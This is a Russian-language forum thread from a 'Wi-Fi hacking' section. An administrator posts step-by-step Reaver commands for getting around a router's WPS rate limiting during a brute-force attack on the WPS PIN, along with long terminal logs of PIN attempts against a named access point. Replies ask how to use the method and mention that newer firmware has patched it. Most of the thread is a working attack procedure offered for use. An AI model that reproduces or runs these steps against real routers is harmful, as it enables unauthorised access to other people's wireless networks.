Обход WARNING: Detected AP rate limiting, waiting 60 seconds - Форум
Обход WARNING: Detected AP rate limiting, waiting 60 seconds - Форум
Меню сайта


Форма входа


Поиск


Приветствую Вас, Гость · RSS 25.04.2014, 09:33
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Форум » RTFM » Взлом Wi-Fi » Обход WARNING: Detected AP rate limiting, waiting 60 seconds
Обход WARNING: Detected AP rate limiting, waiting 60 seconds
AlexeyODДата: Среда, 15.05.2013, 10:55 | Сообщение # 1
Сержант
Группа: Администраторы
Сообщений: 24
Репутация: 1
Статус: Offline
Нашел один способ обхода 60 секундной блокировки Firewall?oм в рутере, когда
WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking [!]
Итак, у кого были такие же трудности попробуйте сделать вот как:

root@root:~# reaver -i mon0 -c 7 -d 60 -b 88:A8:E4:DC:5C:4C -vv

после этого вы получите на выходе примерно следующее:

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright © 2011, Tactical Network Solutions, Craig Heffner

[+] Switching mon0 to channel 7
[+] Waiting for beacon from 88:A8:E4:DC:5C:4C
[+] Associated with 88:A8:E4:DC:5C:4C (ESSID: WLAN-8)
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
^C
[+] Nothing done, nothing to save.

Теперь введите вот это:

root@root:~# reaver -i mon0 -r 3:60 -b 88:A8:E4:DC:5C:4C -vv

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright © 2011, Tactical Network Solutions, Craig Heffner

[+] Waiting for beacon from 88:A8:E4:DC:5C:4C
[+] Switching mon0 to channel 7
[+] Associated with 88:A8:E4:DC:5C:4C (ESSID: WLAN-8)
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
^V^C
[+] Nothing done, nothing to save.

Теперь впишите вот это:

root@root:~# reaver -i mon0 -l 60 -c 7 -b 88:A8:E4:DC:5C:4C -vv

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright © 2011, Tactical Network Solutions, Craig Heffner
[+] Switching mon0 to channel 7
[+] Waiting for beacon from 84:A8:E4:DC:5C:4C
[+] Associated with 88:A8:E4:DC:5C:4C (ESSID: WLAN-8)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0×02), re-trying last pin
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0×02), re-trying last pin
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0×02), re-trying last pin
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0×02), re-trying last pin

И теперь:

root@root:~# reaver -i mon0 -c 1 -d 60 -b 88:A8:E4:DC:5C:4C -vv

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright © 2011, Tactical Network Solutions, Craig Heffner

[+] Switching mon0 to channel 1
[+] Waiting for beacon from 88:A8:E4:DC:5C:4C
[+] Associated with 88:A8:E4:DC:5C:4C (ESSID: WLAN-8)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 00005678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 01235678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 11115670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 22225672
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 33335674
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] 0.05% complete @ 2012-07-06 14:11:10 (61 seconds/pin)
[+] Trying pin 44445676
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 55555678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 66665670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 77775672
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 88885674
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received WSC NACK
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0×04), re-trying last pin
[+] 0.09% complete @ 2012-07-06 14:16:20 (68 seconds/pin)
[+] Trying pin 88885674
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 99995676
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 00015677
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 00025676
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 00035675
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] 0.14% complete @ 2012-07-06 14:21:30 (66 seconds/pin)
[+] Trying pin 00045674
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 00055673
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 00065672
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 00075671
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 00085670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] 0.18% complete @ 2012-07-06 14:26:39 (65 seconds/pin)
[+] Trying pin 00095679
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 00105675

Результат на лицо wink
 
baatarДата: Среда, 25.09.2013, 14:05 | Сообщение # 2
Рядовой
Группа: Пользователи
Сообщений: 1
Репутация: 0
Статус: Offline
Пробовал Ваш способ, не получается ввести первую команду за 60сек. Можно уточнить? Вводить надо только в работающий ривер или еще куда? Заранее спасибо за ответ.
 
AlexeyODДата: Пятница, 27.09.2013, 18:02 | Сообщение # 3
Сержант
Группа: Администраторы
Сообщений: 24
Репутация: 1
Статус: Offline
После того, как столкнулся с этой ошибкой - остановливаешь ривер, и следуешь инструкции выше. 
Но, дело в том, что этот метод уже известен давно и многие производители роутеров уже прикрыли эту уязвимость в новых прошивках.
 
NaydynovДата: Суббота, 16.11.2013, 04:58 | Сообщение # 4
Рядовой
Группа: Пользователи
Сообщений: 1
Репутация: 0
Статус: Offline
AlexeyOD, обьясни....чет я не понял.....в первой строчке 7 канал в последней 1???? эт как так?????
 
Форум » RTFM » Взлом Wi-Fi » Обход WARNING: Detected AP rate limiting, waiting 60 seconds
Страница 1 из 11
Поиск:

Бесплатный конструктор сайтов - uCozЯндекс.Метрика